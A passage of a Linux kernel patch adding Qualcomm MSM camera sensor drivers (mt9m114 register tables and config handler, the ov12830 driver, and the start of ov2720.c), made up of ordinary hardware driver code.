{0xC89A, 0x0166,},/*CAM_AWB_CCM_L_4*/ + {0xC89C, 0x0003,},/*CAM_AWB_CCM_L_5*/ + {0xC89E, 0xFF9A,},/*CAM_AWB_CCM_L_6*/ + {0xC8A0, 0xFEB4,},/*CAM_AWB_CCM_L_7*/ + {0xC8A2, 0x024D,},/*CAM_AWB_CCM_L_8*/ + {0xC8A4, 0x01BF,},/*CAM_AWB_CCM_M_0*/ + {0xC8A6, 0xFF01,},/*CAM_AWB_CCM_M_1*/ + {0xC8A8, 0xFFF3,},/*CAM_AWB_CCM_M_2*/ + {0xC8AA, 0xFF75,},/*CAM_AWB_CCM_M_3*/ + {0xC8AC, 0x0198,},/*CAM_AWB_CCM_M_4*/ + {0xC8AE, 0xFFFD,},/*CAM_AWB_CCM_M_5*/ + {0xC8B0, 0xFF9A,},/*CAM_AWB_CCM_M_6*/ + {0xC8B2, 0xFEE7,},/*CAM_AWB_CCM_M_7*/ + {0xC8B4, 0x02A8,},/*CAM_AWB_CCM_M_8*/ + {0xC8B6, 0x01D9,},/*CAM_AWB_CCM_R_0*/ + {0xC8B8, 0xFF26,},/*CAM_AWB_CCM_R_1*/ + {0xC8BA, 0xFFF3,},/*CAM_AWB_CCM_R_2*/ + {0xC8BC, 0xFFB3,},/*CAM_AWB_CCM_R_3*/ + {0xC8BE, 0x0132,},/*CAM_AWB_CCM_R_4*/ + {0xC8C0, 0xFFE8,},/*CAM_AWB_CCM_R_5*/ + {0xC8C2, 0xFFDA,},/*CAM_AWB_CCM_R_6*/ + {0xC8C4, 0xFECD,},/*CAM_AWB_CCM_R_7*/ + {0xC8C6, 0x02C2,},/*CAM_AWB_CCM_R_8*/ + {0xC8C8, 0x0075,},/*CAM_AWB_CCM_L_RG_GAIN*/ + {0xC8CA, 0x011C,},/*CAM_AWB_CCM_L_BG_GAIN*/ + {0xC8CC, 0x009A,},/*CAM_AWB_CCM_M_RG_GAIN*/ + {0xC8CE, 0x0105,},/*CAM_AWB_CCM_M_BG_GAIN*/ + {0xC8D0, 0x00A4,},/*CAM_AWB_CCM_R_RG_GAIN*/ + {0xC8D2, 0x00AC,},/*CAM_AWB_CCM_R_BG_GAIN*/ + {0xC8D4, 0x0A8C,},/*CAM_AWB_CCM_L_CTEMP*/ + {0xC8D6, 0x0F0A,},/*CAM_AWB_CCM_M_CTEMP*/ + {0xC8D8, 0x1964,},/*CAM_AWB_CCM_R_CTEMP*/ + + /*[AWB]*/ + {0xC914, 0x0000,},/*CAM_STAT_AWB_CLIP_WINDOW_XSTART*/ + {0xC916, 0x0000,},/*CAM_STAT_AWB_CLIP_WINDOW_YSTART*/ + {0xC918, 0x04FF,},/*CAM_STAT_AWB_CLIP_WINDOW_XEND*/ + {0xC91A, 0x02CF,},/*CAM_STAT_AWB_CLIP_WINDOW_YEND*/ + {0xC904, 0x0033,},/*CAM_AWB_AWB_XSHIFT_PRE_ADJ*/ + {0xC906, 0x0040,},/*CAM_AWB_AWB_YSHIFT_PRE_ADJ*/ + {0xC8F2, 0x03, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_AWB_XSCALE*/ + {0xC8F3, 0x02, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_AWB_YSCALE*/ + {0xC906, 0x003C,},/*CAM_AWB_AWB_YSHIFT_PRE_ADJ*/ + {0xC8F4, 0x0000,},/*CAM_AWB_AWB_WEIGHTS_0*/ + {0xC8F6, 0x0000,},/*CAM_AWB_AWB_WEIGHTS_1*/ + {0xC8F8, 0x0000,},/*CAM_AWB_AWB_WEIGHTS_2*/ + {0xC8FA, 0xE724,},/*CAM_AWB_AWB_WEIGHTS_3*/ + {0xC8FC, 0x1583,},/*CAM_AWB_AWB_WEIGHTS_4*/ + {0xC8FE, 0x2045,},/*CAM_AWB_AWB_WEIGHTS_5*/ + {0xC900, 0x03FF,},/*CAM_AWB_AWB_WEIGHTS_6*/ + {0xC902, 0x007C,},/*CAM_AWB_AWB_WEIGHTS_7*/ + {0xC90C, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_R_L*/ + {0xC90D, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_G_L*/ + {0xC90E, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_B_L*/ + {0xC90F, 0x88, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_R_R*/ + {0xC910, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_G_R*/ + {0xC911, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_B_R*/ + + /*[Step7-CPIPE_Preference]*/ + {0xC926, 0x0020,},/*CAM_LL_START_BRIGHTNESS*/ + {0xC928, 0x009A,},/*CAM_LL_STOP_BRIGHTNESS*/ + {0xC946, 0x0070,},/*CAM_LL_START_GAIN_METRIC*/ + {0xC948, 0x00F3,},/*CAM_LL_STOP_GAIN_METRIC*/ + {0xC952, 0x0020,},/*CAM_LL_START_TARGET_LUMA_BM*/ + {0xC954, 0x009A,},/*CAM_LL_STOP_TARGET_LUMA_BM*/ + {0xC92A, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_SATURATION*/ + {0xC92B, 0x4B, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_END_SATURATION*/ + {0xC92C, 0x00, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_DESATURATION*/ + {0xC92D, 0xFF, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_END_DESATURATION*/ + {0xC92E, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_DEMOSAIC*/ + {0xC92F, 0x02, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_AP_GAIN*/ + {0xC930, 0x06, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_AP_THRESH*/ + {0xC931, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_DEMOSAIC*/ + {0xC932, 0x01, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_AP_GAIN*/ + {0xC933, 0x0C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_AP_THRESH*/ + {0xC934, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_RED*/ + {0xC935, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_GREEN*/ + {0xC936, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_BLUE*/ + {0xC937, 0x0F, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_THRESH*/ + {0xC938, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_RED*/ + {0xC939, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_GREEN*/ + {0xC93A, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_BLUE*/ + {0xC93B, 0x32, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_THRESH*/ + {0xC93C, 0x0020,},/*CAM_LL_START_CONTRAST_BM*/ + {0xC93E, 0x009A,},/*CAM_LL_STOP_CONTRAST_BM*/ + {0xC940, 0x00DC,},/*CAM_LL_GAMMA*/ + /*CAM_LL_START_CONTRAST_GRADIENT*/ + {0xC942, 0x38, MSM_CAMERA_I2C_BYTE_DATA}, + /*CAM_LL_STOP_CONTRAST_GRADIENT*/ + {0xC943, 0x30, MSM_CAMERA_I2C_BYTE_DATA}, + {0xC944, 0x50, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_CONTRAST_LUMA*/ + {0xC945, 0x19, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_CONTRAST_LUMA*/ + {0xC94A, 0x0230,},/*CAM_LL_START_FADE_TO_BLACK_LUMA*/ + {0xC94C, 0x0010,},/*CAM_LL_STOP_FADE_TO_BLACK_LUMA*/ + {0xC94E, 0x01CD,},/*CAM_LL_CLUSTER_DC_TH_BM*/ + {0xC950, 0x05, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_CLUSTER_DC_GATE*/ + {0xC951, 0x40, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_SUMMING_SENSITIVITY*/ + /*CAM_AET_TARGET_AVERAGE_LUMA_DARK*/ + {0xC87B, 0x1B, MSM_CAMERA_I2C_BYTE_DATA}, + {0xC878, 0x0E, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AET_AEMODE*/ + {0xC890, 0x0080,},/*CAM_AET_TARGET_GAIN*/ + {0xC886, 0x0100,},/*CAM_AET_AE_MAX_VIRT_AGAIN*/ + {0xC87C, 0x005A,},/*CAM_AET_BLACK_CLIPPING_TARGET*/ + {0xB42A, 0x05, MSM_CAMERA_I2C_BYTE_DATA},/*CCM_DELTA_GAIN*/ + /*AE_TRACK_AE_TRACKING_DAMPENING*/ + {0xA80A, 0x20, MSM_CAMERA_I2C_BYTE_DATA}, + {0x3C44, 0x0080,}, + {0x3C40, 0x0004, MSM_CAMERA_I2C_UNSET_WORD_MASK}, + {0xA802, 0x08, MSM_CAMERA_I2C_SET_BYTE_MASK}, + {0xC908, 0x01, MSM_CAMERA_I2C_BYTE_DATA}, + {0xC879, 0x01, MSM_CAMERA_I2C_BYTE_DATA}, + {0xC909, 0x01, MSM_CAMERA_I2C_UNSET_BYTE_MASK}, + {0xA80A, 0x18, MSM_CAMERA_I2C_BYTE_DATA}, + {0xA80B, 0x18, MSM_CAMERA_I2C_BYTE_DATA}, + {0xAC16, 0x18, MSM_CAMERA_I2C_BYTE_DATA}, + {0xC878, 0x08, MSM_CAMERA_I2C_SET_BYTE_MASK}, + {0xBC02, 0x08, MSM_CAMERA_I2C_UNSET_BYTE_MASK}, +}; + +static struct v4l2_subdev_info mt9m114_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_YUYV8_2X8, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf mt9m114_config_change_settings[] = { + {0xdc00, 0x28, MSM_CAMERA_I2C_BYTE_DATA, MSM_CAMERA_I2C_CMD_WRITE}, + {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, + MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, + {MT9M114_COMMAND_REGISTER, (MT9M114_COMMAND_REGISTER_OK | + MT9M114_COMMAND_REGISTER_SET_STATE), MSM_CAMERA_I2C_WORD_DATA, + MSM_CAMERA_I2C_CMD_WRITE}, + {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, + MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, + {0xDC01, 0x31, MSM_CAMERA_I2C_BYTE_DATA}, +}; + +static const struct i2c_device_id mt9m114_i2c_id[] = { + {MT9M114_SENSOR_NAME, (kernel_ulong_t)&mt9m114_s_ctrl}, + { } +}; + +static int32_t msm_mt9m114_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &mt9m114_s_ctrl); +} + +static struct i2c_driver mt9m114_i2c_driver = { + .id_table = mt9m114_i2c_id, + .probe = msm_mt9m114_i2c_probe, + .driver = { + .name = MT9M114_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client mt9m114_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id mt9m114_dt_match[] = { + {.compatible = "qcom,mt9m114", .data = &mt9m114_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, mt9m114_dt_match); + +static struct platform_driver mt9m114_platform_driver = { + .driver = { + .name = "qcom,mt9m114", + .owner = THIS_MODULE, + .of_match_table = mt9m114_dt_match, + }, +}; + +static int32_t mt9m114_platform_probe(struct platform_device *pdev) +{ + int32_t rc; + const struct of_device_id *match; + match = of_match_device(mt9m114_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init mt9m114_init_module(void) +{ + int32_t rc; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&mt9m114_platform_driver, + mt9m114_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&mt9m114_i2c_driver); +} + +static void __exit mt9m114_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (mt9m114_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&mt9m114_s_ctrl); + platform_driver_unregister(&mt9m114_platform_driver); + } else + i2c_del_driver(&mt9m114_i2c_driver); + return; +} + +int32_t mt9m114_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + int32_t rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, + s_ctrl->sensordata->sensor_name, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_SET_INIT_SETTING: + /* 1. Write Recommend settings */ + /* 2. Write change settings */ + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, mt9m114_recommend_settings, + ARRAY_SIZE(mt9m114_recommend_settings), + MSM_CAMERA_I2C_WORD_DATA); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, + mt9m114_config_change_settings, + ARRAY_SIZE(mt9m114_config_change_settings), + MSM_CAMERA_I2C_WORD_DATA); + break; + case CFG_SET_RESOLUTION: + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, mt9m114_720p_settings, + ARRAY_SIZE(mt9m114_720p_settings), + MSM_CAMERA_I2C_WORD_DATA); + break; + case CFG_SET_STOP_STREAM: + break; + case CFG_SET_START_STREAM: + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, + mt9m114_config_change_settings, + ARRAY_SIZE(mt9m114_config_change_settings), + MSM_CAMERA_I2C_WORD_DATA); + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_camera_power_ctrl_t *p_ctrl; + uint16_t size; + int slave_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) { + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + } + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + + /* Update power up / down sequence */ + p_ctrl = &s_ctrl->sensordata->power_info; + size = sensor_slave_info.power_setting_array.size; + if (p_ctrl->power_setting_size < size) { + struct msm_sensor_power_setting *tmp; + tmp = kmalloc(sizeof(struct msm_sensor_power_setting) + * size, GFP_KERNEL); + if (!tmp) { + pr_err("%s: failed to alloc mem\n", __func__); + rc = -ENOMEM; + break; + } + kfree(p_ctrl->power_setting); + p_ctrl->power_setting = tmp; + } + p_ctrl->power_setting_size = size; + + rc = copy_from_user(p_ctrl->power_setting, (void *) + sensor_slave_info.power_setting_array.power_setting, + size * sizeof(struct msm_sensor_power_setting)); + if (rc) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s sensor id 0x%x\n", __func__, + sensor_slave_info.slave_addr); + CDBG("%s sensor addr type %d\n", __func__, + sensor_slave_info.addr_type); + CDBG("%s sensor reg %x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr); + CDBG("%s sensor id %x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id); + for (slave_index = 0; slave_index < + p_ctrl->power_setting_size; slave_index++) { + CDBG("%s i %d power setting %d %d %ld %d\n", __func__, + slave_index, + p_ctrl->power_setting[slave_index].seq_type, + p_ctrl->power_setting[slave_index].seq_val, + p_ctrl->power_setting[slave_index].config_val, + p_ctrl->power_setting[slave_index].delay); + } + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->func_tbl->sensor_power_up) + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_POWER_DOWN: + if (s_ctrl->func_tbl->sensor_power_down) + rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + case CFG_SET_SATURATION: { + int32_t sat_lev; + if (copy_from_user(&sat_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Saturation Value is %d", __func__, sat_lev); + break; + } + case CFG_SET_CONTRAST: { + int32_t con_lev; + if (copy_from_user(&con_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Contrast Value is %d", __func__, con_lev); + break; + } + case CFG_SET_SHARPNESS: { + int32_t shp_lev; + if (copy_from_user(&shp_lev, (void *)cdata->cfg.setting, + sizeof(int32_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + pr_debug("%s: Sharpness Value is %d", __func__, shp_lev); + break; + } + case CFG_SET_AUTOFOCUS: { + /* TO-DO: set the Auto Focus */ + pr_debug("%s: Setting Auto Focus", __func__); + break; + } + case CFG_CANCEL_AUTOFOCUS: { + /* TO-DO: Cancel the Auto Focus */ + pr_debug("%s: Cancelling Auto Focus", __func__); + break; + } + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + + return rc; +} + +static struct msm_sensor_fn_t mt9m114_sensor_func_tbl = { + .sensor_config = mt9m114_sensor_config, + .sensor_power_up = msm_sensor_power_up, + .sensor_power_down = msm_sensor_power_down, + .sensor_match_id = msm_sensor_match_id, +}; + +static struct msm_sensor_ctrl_t mt9m114_s_ctrl = { + .sensor_i2c_client = &mt9m114_sensor_i2c_client, + .power_setting_array.power_setting = mt9m114_power_setting, + .power_setting_array.size = ARRAY_SIZE(mt9m114_power_setting), + .msm_sensor_mutex = &mt9m114_mut, + .sensor_v4l2_subdev_info = mt9m114_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(mt9m114_subdev_info), + .func_tbl = &mt9m114_sensor_func_tbl, +}; + +module_init(mt9m114_init_module); +module_exit(mt9m114_exit_module); +MODULE_DESCRIPTION("Aptina 1.26MP YUV sensor driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c new file mode 100644 index 0000000000000..fb6d548f1f225 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c @@ -0,0 +1,197 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define OV12830_SENSOR_NAME "ov12830" +DEFINE_MSM_MUTEX(ov12830_mut); + +static struct msm_sensor_ctrl_t ov12830_s_ctrl; + +static struct msm_sensor_power_setting ov12830_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_VDIG, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_VDIG, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_AF_PWDM, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_AF_PWDM, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info ov12830_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id ov12830_i2c_id[] = { + {OV12830_SENSOR_NAME, + (kernel_ulong_t)&ov12830_s_ctrl}, + { } +}; + +static int msm_ov12830_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov12830_s_ctrl); +} + +static struct i2c_driver ov12830_i2c_driver = { + .id_table = ov12830_i2c_id, + .probe = msm_ov12830_i2c_probe, + .driver = { + .name = OV12830_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov12830_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id ov12830_dt_match[] = { + {.compatible = "qcom,ov12830", + .data = &ov12830_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov12830_dt_match); + +static struct platform_driver ov12830_platform_driver = { + .driver = { + .name = "qcom,ov12830", + .owner = THIS_MODULE, + .of_match_table = ov12830_dt_match, + }, +}; + +static int32_t ov12830_platform_probe + (struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(ov12830_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init ov12830_init_module(void) +{ + int32_t rc = 0; + pr_debug("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&ov12830_platform_driver, + ov12830_platform_probe); + if (!rc) + return rc; + pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&ov12830_i2c_driver); +} + +static void __exit ov12830_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (ov12830_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov12830_s_ctrl); + platform_driver_unregister + (&ov12830_platform_driver); + } else { + i2c_del_driver(&ov12830_i2c_driver); + } +} + +static struct msm_sensor_ctrl_t ov12830_s_ctrl = { + .sensor_i2c_client = &ov12830_sensor_i2c_client, + .power_setting_array.power_setting = ov12830_power_setting, + .power_setting_array.size = + ARRAY_SIZE(ov12830_power_setting), + .msm_sensor_mutex = &ov12830_mut, + .sensor_v4l2_subdev_info = ov12830_subdev_info, + .sensor_v4l2_subdev_info_size = + ARRAY_SIZE(ov12830_subdev_info), +}; + +module_init(ov12830_init_module); +module_exit(ov12830_exit_module); +MODULE_DESCRIPTION("ov12830"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c new file mode 100644 index 0000000000000..397564b3ef629 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov2720.c @@ -0,0 +1,155 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or 